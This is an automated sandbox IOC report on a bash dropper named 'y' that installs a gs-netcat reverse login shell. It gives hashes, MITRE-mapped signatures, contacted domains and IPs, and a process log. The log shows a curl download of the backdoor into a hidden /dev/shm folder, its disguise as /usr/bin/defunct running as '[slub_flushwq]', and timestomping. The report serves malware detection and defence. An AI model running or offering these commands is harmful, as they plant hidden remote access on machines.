Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

Bourne-Again shell script, ASCII text executable

initial sample

Details

Filetype:	Bourne-Again shell script, ASCII text executable
Entropy:	5.683859150557189
Filename:	y
Filesize:	48472
MD5:	b4ae01a2cca1052689c00d8ff4e94524
SHA1:	9d8b20bb6bb0471c16dfe8ccadc0a9441bd986ce
SHA256:	9cc787ca0b6e698b62f6e8ca5da6f2183a350acda9098b4194aa1894dcd39690
SHA512:	a7f79c43ba91d04c9f0d4818fcb39cab8b7853df7c134c02a5902d69742097297bd985e8cc0173e189dc3c09a16e09a9d23978dc7acebcd29f0932d34b3a1c66
SSDEEP:	768:i991WHuydzUKO8EorVMuMN0NBF7SsA6cYtNGTiPax+dFVcglW:4MHuYUKV9x7aahW
Preview:	#! /usr/bin/env bash..# Install and start a permanent gs-netcat reverse login shell.#.# See https://www.gsocket.io/deploy/ for examples..#.# This script is typically invoked like this as root or non-root user:.# $ bash -c "$(curl -fsSL https://gsocket.i

Signature Hits	Behavior Group	Mitre Attack
Multi AV Scanner detection for submitted file	AV Detection
Found strings indicative of a multi-platform dropper	Spreading
URLs found in memory or binary data	Networking

/dev/shm/.gs-0/gs-netcat_mini-linux-x86_64

ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped

dropped

Details

File:	/dev/shm/.gs-0/gs-netcat_mini-linux-x86_64
Category:	dropped
Dump:	gs-netcat_mini-linux-x86_64.154.dr
ID:	dr_0
Target ID:	154
Process:	/usr/bin/curl
Type:	ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped
Entropy:	6.080429621428719
Encrypted:	false
Ssdeep:	49152:T0idKbBedbWCCQZLyOgk/KszcixmYw2Y30scw+G2oT+uoNNyZlrhcSueVu7VwTCI:T0PbiWCPyOgk/pzcixmf2sp2pu/Zlr+L
Size:	2833840
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for dropped file	AV Detection
Writes ELF files to hidden directories	Persistence and Installation Behavior	Hidden Files and Directories
Writes identical ELF files to multiple locations	Persistence and Installation Behavior
Executes the "curl" command used to transfer data via the network (typically using HTTP/S)	Persistence and Installation Behavior	Exfiltration Over Alternative Protocol
Writes ELF files to disk	Persistence and Installation Behavior

/usr/bin/defunct

ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped

dropped

Details

File:	/usr/bin/defunct
Category:	dropped
Dump:	defunct.168.dr
ID:	dr_1
Target ID:	168
Process:	/usr/bin/cp
Type:	ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped
Entropy:	6.080429621428719
Encrypted:	false
Ssdeep:	49152:T0idKbBedbWCCQZLyOgk/KszcixmYw2Y30scw+G2oT+uoNNyZlrhcSueVu7VwTCI:T0PbiWCPyOgk/pzcixmf2sp2pu/Zlr+L
Size:	2833840
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for dropped file	AV Detection
Drops files in suspicious directories	Hooking and other Techniques for Hiding and Protection	Masquerading
Explicitly modifies time stamps using the "touch" command	Persistence and Installation Behavior	Timestomp
Sample deletes itself	Hooking and other Techniques for Hiding and Protection	File Deletion
Writes identical ELF files to multiple locations	Persistence and Installation Behavior
Changes permissions of common UNIX (system) binary directories	Persistence and Installation Behavior
Executes the "chmod" command used to modify permissions	Persistence and Installation Behavior	File and Directory Permissions Modification
Executes the "rm" command used to delete files or directories	Persistence and Installation Behavior	File Deletion
Executes the "touch" command used to create files or modify time stamps	Persistence and Installation Behavior	Indicator Removal
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Writes ELF files to disk	Persistence and Installation Behavior

Processes

Path

Cmdline

Malicious

/usr/bin/bash

/usr/bin/bash /tmp/y

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/uname

uname -m

/usr/bin/bash

/usr/bin/base64

base64 -w0

/usr/bin/bash

/usr/bin/base64

base64 -d

/usr/bin/bash

/usr/bin/sed

sed s/[^a-zA-Z0-9]/\\\\&/g

/usr/bin/bash

/usr/bin/pgrep

pgrep defunct

/usr/bin/bash

/usr/bin/pgrep

/usr/bin/bash

/bin/bash

/bin/bash -c "echo TRUE"

/usr/bin/bash

/usr/bin/dirname

dirname /dev/shm/.gs-0

/usr/bin/bash

/usr/bin/dirname

dirname /dev/shm

/usr/bin/bash

/usr/bin/date

date -r /dev/shm +%Y%m%d%H%M.%S

/usr/bin/bash

/usr/bin/dirname

dirname /dev/shm/.gs-0

/usr/bin/bash

/usr/bin/ls

ls -atr /dev/shm

/usr/bin/bash

/usr/bin/head

head -n1

/usr/bin/bash

/usr/bin/date

date -r /dev/shm/.. +%Y%m%d%H%M.%S

/usr/bin/bash

/usr/bin/mkdir

mkdir /dev/shm/.gs-0

/usr/bin/bash

/usr/bin/chmod

chmod 700 /dev/shm/.gs-0

/usr/bin/bash

/usr/bin/touch

touch /dev/shm/.gs-0/.gs-rw.lock

/usr/bin/bash

/usr/bin/rm

rm -f /dev/shm/.gs-0/.gs-rw.lock

/usr/bin/bash

/usr/bin/dirname

dirname /usr/bin/defunct

/usr/bin/bash

/usr/bin/dirname

dirname /usr/bin

/usr/bin/bash

/usr/bin/date

date -r /usr/bin +%Y%m%d%H%M.%S

/usr/bin/bash

/usr/bin/dirname

dirname /usr/bin/defunct

/usr/bin/bash

/usr/bin/ls

ls -atr /usr/bin

/usr/bin/bash

/usr/bin/head

head -n1

/usr/bin/bash

/usr/bin/date

date -r /usr/bin/dirsplit +%Y%m%d%H%M.%S

/usr/bin/bash

/usr/bin/touch

touch /usr/bin/defunct

/usr/bin/bash

/usr/bin/chmod

chmod 600 /usr/bin/defunct

/usr/bin/bash

/usr/bin/basename

basename /bin/true

/usr/bin/bash

/usr/bin/dirname

dirname /usr/bin/defunct

/usr/bin/bash

/usr/bin/base64

base64 -w0

/usr/bin/bash

/usr/bin/base64

base64 -w0

/usr/bin/bash

/usr/bin/base64

base64 -w0

/usr/bin/bash

/usr/bin/curl

curl -fsSL --connect-timeout 7 -m900 --retry 3 https://cdn.gsocket.io/bin/gs-netcat_mini-linux-x86_64 --output /dev/shm/.gs-0/gs-netcat_mini-linux-x86_64

/usr/bin/bash

/usr/bin/mv

mv /dev/shm/.gs-0/gs-netcat_mini-linux-x86_64 /dev/shm/.gs-0/gs-netcat

/usr/bin/bash

/usr/bin/dirname

dirname /usr/bin/defunct

/usr/bin/bash

/usr/bin/rm

rm -f /usr/bin/defunct

/usr/bin/bash

/usr/bin/dirname

dirname /usr/bin/defunct

/usr/bin/bash

/usr/bin/touch

touch /usr/bin/defunct

/usr/bin/bash

/usr/bin/chmod

chmod 600 /usr/bin/defunct

/usr/bin/bash

/usr/bin/cp

cp /dev/shm/.gs-0/gs-netcat /usr/bin/defunct

/usr/bin/bash

/usr/bin/dirname

dirname /dev/shm/.gs-0/gs-netcat

/usr/bin/bash

/usr/bin/rm

rm -f /dev/shm/.gs-0/gs-netcat

/usr/bin/bash

/usr/bin/chmod

chmod 700 /usr/bin/defunct

/usr/bin/bash

/usr/bin/defunct

/usr/bin/defunct -g

/usr/bin/bash

/usr/bin/defunct

[slub_flushwq]

/usr/bin/bash

/usr/bin/rm

rm -rf /dev/shm/.gs-0/*

/usr/bin/bash

/usr/bin/rmdir

rmdir /dev/shm/.gs-0

/usr/bin/bash

/usr/bin/touch

touch -t 202410010411.39 /dev/shm

/usr/bin/bash

/usr/bin/touch

touch -t 202109170423.51 /usr/bin

/usr/bin/bash

/usr/bin/touch

touch -t 200611251713.29 /usr/bin/defunct

There are 168 hidden processes, click here to show them.

URLs

Name

Malicious

https://www.gsocket.io/deploy/

unknown

https://cdn.gsocket.io

unknown

https://github.com/hackerschoice/gsocket-relay

unknown

https://cdn.gsocket.io/bin/gs-netcat_mini-linux-x86_64

92.60.39.208

https://foo.blah/log.php?s=

unknown

https://gsocket.io

unknown

https://t.me/thcorg$

unknown

https://webhook.site

unknown

https://github.com/hackerschoice/gsocket/releases$

unknown

https://webhook.site/$

unknown

https://api.telegram.org/bot$

unknown

https://discord.com/api/webhooks/$

unknown

https://gsocket.io/x)

unknown

There are 3 hidden URLs, click here to show them.

Domains

Name

Malicious

cdn.gsocket.io

92.60.39.208

Details

Name:	cdn.gsocket.io
IP:	92.60.39.208
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Executes the "curl" command used to transfer data via the network (typically using HTTP/S)	Persistence and Installation Behavior	Exfiltration Over Alternative Protocol
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
URLs found in memory or binary data	Networking

c.gs.thc.org

45.14.164.3

IPs

Domain

Country

Malicious

92.60.39.208

cdn.gsocket.io

Germany

109.202.202.202

unknown

Switzerland

Details

IP:	109.202.202.202
TargetID:	-1
Country:	Switzerland
Countrycode:	CHE
ASN number:	13030
ASN name:	INIT7CH
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

45.14.164.3

c.gs.thc.org

Germany

91.189.91.43

unknown

United Kingdom

Details

IP:	91.189.91.43
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.42

unknown

United Kingdom

Details

IP:	91.189.91.42
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
y

Files

Processes

URLs

Domains

IPs

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Reporty

Files

Processes

URLs

Domains

IPs

IOC Report
y